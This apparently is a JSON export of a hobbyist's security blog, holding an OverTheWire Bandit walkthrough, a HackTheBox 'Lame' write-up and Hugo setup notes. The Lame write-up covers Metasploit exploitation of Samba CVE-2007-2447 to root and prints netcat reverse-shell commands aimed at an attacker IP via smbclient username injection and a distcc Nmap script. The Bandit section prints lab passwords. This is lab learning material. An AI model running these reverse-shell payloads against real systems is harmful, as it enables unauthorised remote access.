[{"content":"I\u0026rsquo;m a Mechanical Engineer that enjoys tinkering and learning new things. The purpose of this blog is to share my experiences as well as things that I find interesting and/or helpful on my journey to learning programming, penetration testing, and malware analysis.\nAchievements TryHackMe\u0026rsquo;s Web Fundamentals, Complete Beginner, and Jr Penetration Tester learning paths Virtual Hacking Labs Basic Certificate of Completion Certification Path TCM Security Practical Network Penetration Tester (PNPT) HackTheBox Certified Penetration Testing Specialist (CPTS) Offensive Security Certified Professional (OSCP) ","permalink":"https://MParnin.github.io/about/","summary":"I\u0026rsquo;m a Mechanical Engineer that enjoys tinkering and learning new things. The purpose of this blog is to share my experiences as well as things that I find interesting and/or helpful on my journey to learning programming, penetration testing, and malware analysis.\nAchievements TryHackMe\u0026rsquo;s Web Fundamentals, Complete Beginner, and Jr Penetration Tester learning paths Virtual Hacking Labs Basic Certificate of Completion Certification Path TCM Security Practical Network Penetration Tester (PNPT) HackTheBox Certified Penetration Testing Specialist (CPTS) Offensive Security Certified Professional (OSCP) ","title":"About Me"},{"content":"Background The Bandit wargame is aimed at absolute beginners. It will teach the basics needed to be able to play other wargames as well as the basics of the Linux command line.\nsshpass Command 1 sshpass -p `cat bandit0` ssh bandit0@bandit.labs.overthewire.org -p 2220 Levels 0 thru 4 Bandit 0 (https://overthewire.org/wargames/bandit/bandit0.html)\n1 The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org, on port 2220. The username is bandit0 and the password is bandit0. Once logged in, go to the Level 1 page to find out how to beat Level 1. Navigate to your bandit working directory: cd ~/Documents/overthewire/bandit\nWe are going to store the SSH credentials for each level in seperate files within the directory that we just navigated to and use sshpass to manage our credentials. The title of the file is the username and the password is entered on the first line of the file.\nInstall sshpass with the following on debian-based distros:\nsudo apt install sshpass\nEnter the following command: nano bandit0\nEnter the provided password: bandit0\nBegin to exit nano by hitting Ctrl + x\nNano will ask \u0026ldquo;Save modified buffer?\u0026rdquo; y\nNano will ask \u0026ldquo;File Name to Write: bandit0\u0026rdquo;, hit enter\nBandit 0 \u0026ndash;\u0026gt; 1 (https://overthewire.org/wargames/bandit/bandit1.html)\n1 The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game. Connect to the Bandit 0 level with sshpass:\n1 sshpass -p `cat bandit0` ssh bandit0@bandit.labs.overthewire.org -p 2220 ls -la\ncat readme\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 1 \u0026ndash;\u0026gt; 2 (https://overthewire.org/wargames/bandit/bandit2.html)\n1 The password for the next level is stored in a file called - located in the home directory Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. For example:\n1 sshpass -p `cat bandit1` ssh bandit1@bandit.labs.overthewire.org -p 2220 Note how bandit0 has changed to bandit1 for the next level. Connect to the level.\nls -la\ncat ./-\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 2 \u0026ndash;\u0026gt; 3 (https://overthewire.org/wargames/bandit/bandit3.html)\n1 The password for the next level is stored in a file called spaces in this filename located in the home directory Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nls -la\ncat 'spaces in this filename'\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 3 \u0026ndash;\u0026gt; 4 (https://overthewire.org/wargames/bandit/bandit4.html)\n1 The password for the next level is stored in a hidden file in the inhere directory. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nls -la\ncd inhere\nls -la\ncat '.hidden'\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nLevels 5 thru 9 Bandit 4 \u0026ndash;\u0026gt; 5 (https://overthewire.org/wargames/bandit/bandit5.html)\n1 The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the “reset” command. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nls -la\ncd inhere\nfile ./* #all files but list \u0026lsquo;data\u0026rsquo; except -file07 lists \u0026lsquo;ASCII text\u0026rsquo;\nstrings ./* #prints strings of all files. doesnt specify file per line though\ncat ./-file00\ncat ./-file01\ncat ./-file02\ncat ./-file03\ncat ./-file04\ncat ./-file05\ncat ./-file06\ncat ./-file07\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 5 \u0026ndash;\u0026gt; 6 (https://overthewire.org/wargames/bandit/bandit6.html)\n1 2 3 4 5 The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties: human-readable 1033 bytes in size not executable Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nls -la\ncd inhere\nls -lR #Recursively list files in all folders\nfind \\! -executable -size 1033c\ncat ./maybehere07/.file2\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 6 \u0026ndash;\u0026gt; 7 (https://overthewire.org/wargames/bandit/bandit7.html)\n1 2 3 4 5 The password for the next level is stored somewhere on the server and has all of the following properties: owned by user bandit7 owned by group bandit6 33 bytes in size Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nls -la\nfind / -size 33c -user bandit7 -group bandit6\nfind / -size 33c -user bandit7 -group bandit6 2\u0026gt;/dev/null #redirect stderror output to trash\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 7 \u0026ndash;\u0026gt; 8 (https://overthewire.org/wargames/bandit/bandit8.html)\n1 The password for the next level is stored in the file data.txt next to the word millionth Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nls -la\ncat data.txt\ncat data.txt | grep millionth\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 8 \u0026ndash;\u0026gt; 9 (https://overthewire.org/wargames/bandit/bandit9.html)\n1 The password for the next level is stored in the file data.txt and is the only line of text that occurs only once Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncat data.txt\ncat data.txt | sort | uniq -c | grep -v \u0026quot;10\u0026quot;\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nLevels 10 thru 14 Bandit 9 \u0026ndash;\u0026gt; 10 (https://overthewire.org/wargames/bandit/bandit10.html)\n1 The password for the next level is stored in the file data.txt in one of the few human-readable strings, preceded by several ‘=’ characters. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncat data.txt\ncat data.txt | strings | grep \u0026quot;====\u0026quot;\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 10 \u0026ndash;\u0026gt; 11 (https://overthewire.org/wargames/bandit/bandit11.html)\n1 The password for the next level is stored in the file data.txt, which contains base64 encoded data Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncat data.txt | base64 -d\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 11 \u0026ndash;\u0026gt; 12 (https://overthewire.org/wargames/bandit/bandit12.html)\n1 The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncat data.txt\necho \u0026quot;echo \u0026quot;Gur cnffjbeq vf WIAOOSFzMjXXBC0KoSKBbJ8puQm5lIEi\u0026quot; | rot13\u0026quot;\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 12 \u0026ndash;\u0026gt; 13 (https://overthewire.org/wargames/bandit/bandit13.html)\n1 The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!) Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nmkdir /tmp/t0nberry\ncp data.txt /tmp/t0nberry\ncd /tmp/t0nberry\nxxd -reverse data.txt \u0026gt; reverse\nfile reverse gzip compressed data\nmv reverse reverse.gz\ngunzip reverse.gz\nfile reverse bzip2 compressed data\nbunzip2 reverse\nfile reverse.out gzip compressed data\nmv reverse.out reverse.gz\ngunzip reverse.gz\nfile reverse tar archive\ntar xf reverse\nfile * data5.bin is tar\ntar xvf data5.bin\nfile *\nbunzip2 data6.bin\nfile *\ntar xvf data6.bin.out\nfile *\nmv data8.bin data8.gz\ngunzip data8.gz\ncat data8\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 13 \u0026ndash;\u0026gt; 14 (https://overthewire.org/wargames/bandit/bandit14.html)\n1 The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nls -la\nssh -i sshkey.private bandit14@localhost -p 2220\nLevels 15 thru 19 Bandit 14 \u0026ndash;\u0026gt; 15 (https://overthewire.org/wargames/bandit/bandit15.html)\n1 The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncat /etc/bandit_pass/bandit14 | nc localhost 30000\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 15 \u0026ndash;\u0026gt; 16 (https://overthewire.org/wargames/bandit/bandit16.html)\n1 2 3 The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption. Helpful note: Getting “HEARTBEATING” and “Read R BLOCK”? Use -ign_eof and read the “CONNECTED COMMANDS” section in the manpage. Next to ‘R’ and ‘Q’, the ‘B’ command also works in this version of that command… Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncat /etc/bandit_pass/bandit15\ncat /etc/bandit_pass/bandit15 | openssl s_client -connect localhost:30001\ncat /etc/bandit_pass/bandit15 | openssl s_client -connect localhost:30001 -ign_eof\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 16 \u0026ndash;\u0026gt; 17 (https://overthewire.org/wargames/bandit/bandit17.html)\n1 The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nnmap localhost -p31000-32000\n1 2 3 4 5 6 7 8 9 10 Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-18 13:55 UTC Nmap scan report for localhost (127.0.0.1) Host is up (0.00017s latency). Not shown: 996 closed ports PORT STATE SERVICE 31046/tcp open unknown 31518/tcp open unknown 31691/tcp open unknown 31790/tcp open unknown 31960/tcp open unknown cat /etc/bandit_pass/bandit16\ncat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:31046\ncat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:31518 -ign_eof\ncat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:31691 -ign_eof\ncat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:31790 -ign_eof\n1 2 3 -----BEGIN RSA PRIVATE KEY----- [redacted] -----END RSA PRIVATE KEY----- ssh -i bandit17 bandit17@bandit.labs.overthewire.org -p 2220\nBandit 17 \u0026ndash;\u0026gt; 18 (https://overthewire.org/wargames/bandit/bandit18.html)\n1 There are 2 files in the homedirectory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncat passwords.old\ncat passwords.new\ndiff passwords.old passwords.new\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 18 \u0026ndash;\u0026gt; 19 (https://overthewire.org/wargames/bandit/bandit19.html)\n1 The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nsshpass -p cat bandit18 ssh bandit18@bandit.labs.overthewire.org -p 2220 \u0026ldquo;cat readme\u0026rdquo;\nLevels 20 thru 24 Bandit 19 \u0026ndash;\u0026gt; 20 (https://overthewire.org/wargames/bandit/bandit20.html)\n1 To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nls -la\n./bandit20-do cat /etc/bandit_pass/bandit20\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 20 \u0026ndash;\u0026gt; 21 (https://overthewire.org/wargames/bandit/bandit21.html)\n1 2 3 There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21). NOTE: Try connecting to your own network daemon to see if it works as you think Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nnc -lvp 8888\n./suconnect 8888 supply bandit20 pass in listener window after connecting to receive bandit21 pass\nBandit 21 \u0026ndash;\u0026gt; 22 (https://overthewire.org/wargames/bandit/bandit22.html)\n1 A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncd /etc/cron.d\ncat cronjob_bandit22\ncat /usr/bin/cronjob_bandit22.sh\ncat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 22 \u0026ndash;\u0026gt; 23 (https://overthewire.org/wargames/bandit/bandit23.html)\n1 2 3 A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed. NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncd /etc/cron.d\ncat cronjob_bandit23\necho I am user bandit23 | md5sum | cut -d ' ' -f 1\ncat /tmp/8ca319486bfbbc3663ea0fbe81326349\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 23 \u0026ndash;\u0026gt; 24 (https://overthewire.org/wargames/bandit/bandit24.html)\n1 2 3 4 5 A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed. NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level! NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around… Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncd /etc/cron.d\nls -la\ncat cronjob_bandit24\ncat /usr/bin/cronjob_bandit24.sh\nmyname=bandit24\ncd /var/spool/bandit24/foo\nmkdir /tmp/t0nberry2\nchmod 777 /tmp/t0nberry2\nnano getpass.sh\n1 2 3 4 #!/bin/bash touch /tmp/t0nberry2/bandit24 cat /etc/bandit_pass/bandit24 \u0026gt; /tmp/t0nberry2/bandit24 chmod +x getpass.sh\ncat /tmp/t0nberry2/bandit24\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nLevels 25 thru 29 Bandit 24 \u0026ndash;\u0026gt; 25 (https://overthewire.org/wargames/bandit/bandit25.html)\n1 A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\ncat /etc/bandit_pass/bandit24\nnc localhost 30002\nmkdir /tmp/t0nberry3\ncd /tmp/t0nberry3\n1 2 3 4 5 6 #!/bin/bash for i in {000..9999} do echo \u0026#34;VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\u0026#34; $i \u0026gt;\u0026gt; combinations.txt done chmod +x index.sh\n./brute.sh\ncat combinations.txt | nc localhost 30002 \u0026gt;\u0026gt; result.txt\nsort result.txt | uniq -u\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 25 \u0026ndash;\u0026gt; 26 (https://overthewire.org/wargames/bandit/bandit26.html)\n1 Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nshrink screen small\nssh -i bandit26.sshkey bandit26@localhost -p 2220\npress v to enter vim\n:r /etc/bandit_pass/bandit26\nBandit 26 \u0026ndash;\u0026gt; 27 (https://overthewire.org/wargames/bandit/bandit27.html)\n1 Good job getting a shell! Now hurry and grab the password for bandit27! Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nshrink screen small\nssh -i bandit26.sshkey bandit26@localhost -p 2220\npress v to enter vim\n:set shell=/bin/bash\n:shell\ncat /etc/bandit_pass/bandit27\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 27 \u0026ndash;\u0026gt; 28 (https://overthewire.org/wargames/bandit/bandit28.html)\n1 2 3 There is a git repository at ssh://bandit27-git@localhost/home/bandit27-git/repo. The password for the user bandit27-git is the same as for the user bandit27. Clone the repository and find the password for the next level. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nmkdir /tmp/t0nberry4\ncd /tmp/t0nberry4\ngit clone \u0026quot;ssh://bandit27-git@localhost:2220/home/bandit27-git/repo\u0026quot;\nls\ncd repo\ncat README\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 28 \u0026ndash;\u0026gt; 29 (https://overthewire.org/wargames/bandit/bandit29.html)\n1 2 3 There is a git repository at ssh://bandit28-git@localhost/home/bandit28-git/repo. The password for the user bandit28-git is the same as for the user bandit28. Clone the repository and find the password for the next level. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nmkdir /tmp/t0nberry5\ncd /tmp/t0nberry5\ngit clone \u0026quot;ssh://bandit28-git@localhost:2220/home/bandit28-git/repo\u0026quot;\ncd repo\ncat README.md\ngit log\ngit show bdf3099fb1fb05faa29e80ea79d9db1e29d6c9b9 #change history shows password\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nLevels 30 thru 34 Bandit 29 \u0026ndash;\u0026gt; 30 (https://overthewire.org/wargames/bandit/bandit30.html)\n1 2 3 There is a git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo. The password for the user bandit29-git is the same as for the user bandit29. Clone the repository and find the password for the next level. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nmkdir /tmp/t0nberry6\ncd /tmp/t0nberry6\ngit clone \u0026quot;ssh://bandit29-git@localhost:2220/home/bandit29-git/repo\u0026quot;\ncd repo\nls\ncat README.md\ngit branch -a\ngit checkout remotes/origin/dev\ngit log\ngit show 2b1395f00cfb986163082c50100be5be8f249f64 #log for dev commit\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 30 \u0026ndash;\u0026gt; 31 (https://overthewire.org/wargames/bandit/bandit31.html)\n1 2 3 There is a git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo. The password for the user bandit30-git is the same as for the user bandit30. Clone the repository and find the password for the next level. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nmkdir /tmp/t0nberry7\ncd /tmp/t0nberry7\ncd repo\ncat README.md\nls -la\ncd .git\ncat packed-refs\ngit show 831aac2e2341f009e40e46392a4f5dd318483019\ngit show-ref #will also show the secret branch containing the key\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 31 \u0026ndash;\u0026gt; 32 (https://overthewire.org/wargames/bandit/bandit32.html)\n1 2 3 There is a git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo. The password for the user bandit31-git is the same as for the user bandit31. Clone the repository and find the password for the next level. Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\nmkdir /tmp/t0nberry8\ncd /tmp/t0nberry8\ncd repo\ncat README.md\nnano key.txt #May I come in? added\ngit add .\ngit commit #key.txt was ignored\ngit add key.txt #notes .gitignore ignores .txt files. use -f to override ignore.\ngit add key.txt -f\ngit commit\nAdded file #to commit message\ngit push\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 32 \u0026ndash;\u0026gt; 33 (https://overthewire.org/wargames/bandit/bandit33.html)\n1 After all this git stuff its time for another escape. Good luck! Arrow up to get to retrieve your previously entered sshpass command and increment bandit by one. Connect to the ssh server.\n$0\ncat /etc/bandit_pass/bandit33\nHighlight and copy the returned password\nBreak the ssh connection by typing logout or hitting Ctrl + d\nEnter nano bandit1, paste the copied password, save \u0026amp; exit (Ctrl + x, y, enter)\nBandit 33 \u0026ndash;\u0026gt; 34 (https://overthewire.org/wargames/bandit/bandit34.html)\n1 At this moment, level 34 does not exist yet. ","permalink":"https://MParnin.github.io/write-ups/overthewire/otw_bandit/","summary":"Background The Bandit wargame is aimed at absolute beginners. It will teach the basics needed to be able to play other wargames as well as the basics of the Linux command line.\nsshpass Command 1 sshpass -p `cat bandit0` ssh bandit0@bandit.labs.overthewire.org -p 2220 Levels 0 thru 4 Bandit 0 (https://overthewire.org/wargames/bandit/bandit0.html)\n1 The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.","title":"OTW: Bandit"},{"content":"This will contain info about my cloud lab setup.\n","permalink":"https://MParnin.github.io/projects/cloudlab/","summary":"This will contain info about my cloud lab setup.","title":"Cloud Lab Setup"},{"content":"This will contain info about my active directory lab setup.\n","permalink":"https://MParnin.github.io/projects/adlab/","summary":"This will contain info about my active directory lab setup.","title":"Active Directory Lab Setup"},{"content":"This will contain info about my Proxmox server\n","permalink":"https://MParnin.github.io/projects/homelab/","summary":"This will contain info about my Proxmox server","title":"Home Lab"},{"content":" Enumeration Started with an Nmap scan nmap -sC -sV -Pn -oA nmap/full 10.10.10.3 -sC Scan with default NSE scripts. Considered useful for discovery and safe. -sV Attempts to determine the version of the service running on port. -Pn Ping probes were being blocked. -oA nmap/full Outputs all format results to a file named full in the nmap directory. VSFTPD CVE-2011-2523\nStarting with VSFTPD, I searched exploit-db for vsftpd 2.3.4 and found the following backdoor command execution exploits: https://www.exploit-db.com/exploits/49757 \u0026amp; https://www.exploit-db.com/exploits/17491\nThe first link is to a Python3 file and the second link is to a Metasploit file; both files perform CVE-2011-2523.\nSMB CVE-2007-2447\nNext, I searched for exploit-db for samba 3.0.20 and found a Metasploit exploit for CVE-2007-2447: https://www.exploit-db.com/exploits/16320\nExploitation + Root SMB CVE-2007-2447 Using Metasploit\nI launched Metasploit using msfconsole and searched for Samba 3.0.20:\nsearch samba 3.0.20\nLooking at the options for the exploit, I provided the target host address (RHOST), listen address (LHOST):\nshow options\nset rhost 10.10.10.3\nset lhost 10.10.14.6\nAfter filling in the options, I ran the exploit and received a reverse shell as root:\nrun\nwhoami\nAfter confirming I was root, I obtained both the user and root flags:\ncat /home/makis/user.txt \u0026gt; d1bd3634d0056ea44f390e8b8c81a1e3\ncat /root/root.txt \u0026gt; d2a473c2dcb76bb90cf02a8d646564ed\nFailed Exploit 1 VSFTPD - CVE-2011-2523 Python Script\nI downloaded the Python file for CVE-2011-2523 from: https://www.exploit-db.com/exploits/49757 Trying to run the file I received a connection refused error\npython3 ./49757.py 10.10.10.3\nFailed Exploit 2 VSFTPD - CVE-2011-2523 Metasploit Script\nI launched Metasploit using msfconsole and located the exploit:\nsearch vsftpd 2.3.4\nuse 0\nSetting the target host address (RHOST) with set rhost 10.10.10.3 and entering run returned a prompt to specify a password.\nFailed Exploit 3 SMB CVE-2007-2447 Python Script\nI downloaded the exploit from the following address: https://github.com/amriunix/CVE-2007-2447\nNext, I installed the dependent packages with pipx: pipx install --include-deps pysmb\nI launched a Netcat listener on port 1234: nc -lvnp 1234\nFinally, I tried running the exploit supplying the target address, target port, listener address, and listener port:\npython3 ./usermap_script.py 10.10.10.3 139 10.10.14.6 1234\nLooking into this error it turns out pipx is limited to Python3 packages: https://stackoverflow.com/questions/65974803/python2-7-no-smb-module-cant-locate\nFailed Exploit 4 SMB Manually\nI tried the manual exploit from 0xdf\u0026rsquo;s write-up: https://0xdf.gitlab.io/2020/04/07/htb-lame.html#completely-manually\nRunning the following I received a connection refused error:\nsmbclient //10.10.10.3/tmp -U \u0026quot;./=nohup nc -e /bin/sh 10.10.14.6 1234\u0026quot;\nFailed Exploit 5 Distcc with Nmap\nI confirmed the Distcc script was installed with Nmap: locate *.nse | grep distcc\nNext, I tried to run a remote command using the script I just located: nmap -Pn -p 3632 10.10.10.3 --script distcc-cve2004-2687 --script-args=\u0026quot;distcc-cve2004-2687.cmd='id'\u0026quot;\nI also tried to run a remote command to provide a reverse shell with Netcat but the connection was filtered: nmap -Pn -p 3632 10.10.10.3 --script distcc-cve2004-2687 --script-args=\u0026quot;distcc-cve2004-2687.cmd='nc -e /bin/sh 10.10.14.6 443'\u0026quot;\n","permalink":"https://MParnin.github.io/write-ups/hackthebox/htb_lame/","summary":"Enumeration Started with an Nmap scan nmap -sC -sV -Pn -oA nmap/full 10.10.10.3 -sC Scan with default NSE scripts. Considered useful for discovery and safe. -sV Attempts to determine the version of the service running on port. -Pn Ping probes were being blocked. -oA nmap/full Outputs all format results to a file named full in the nmap directory. VSFTPD CVE-2011-2523\nStarting with VSFTPD, I searched exploit-db for vsftpd 2.3.4 and found the following backdoor command execution exploits: https://www.","title":"HTB: Lame"},{"content":"Installing/Updating Hugo Make sure installed version of Go is \u0026gt;= 1.18: Check Go version: go version Install/update Go: https://go.dev/doc/install Check Hugo: hugo version Update Hugo: Download latest version: https://github.com/gohugoio/hugo/releases Install .deb file: sudo dpkg --install ./hugo_0.110.0_linux-amd64.deb Creating a New Site Install Hugo and prerequisites: https://gohugo.io/installation/ Create two repositories on Github: \u0026ldquo;Blog Repository\u0026rdquo; - Repository for storing website code: \u0026ldquo;Blog\u0026rdquo; Make Public, no README, simply click \u0026ldquo;Create repository\u0026rdquo; \u0026ldquo;Production Repository\u0026rdquo; - Repository for deploying website that\u0026rsquo;s hosted through Github Pages: \u0026ldquo;MParnin.github.io\u0026rdquo; Make Public, no README, simply click \u0026ldquo;Create repository\u0026rdquo; Choose theme for site: https://themes.gohugo.io/ (PaperMod was used for this site) Clone \u0026ldquo;Blog\u0026rdquo; to local machine: git clone git@github.com:MParnin/Blog.git Change to \u0026ldquo;Blog\u0026rdquo; directory: cd Blog Create a new Hugo site: hugo new site MParnin.github.io Change to new directory: cd MParnin.github.io Clone theme to newly created boiler plate code for website: git clone https://github.com/adityatelange/hugo-PaperMod themes/PaperMod --depth=1 Setup the config file: 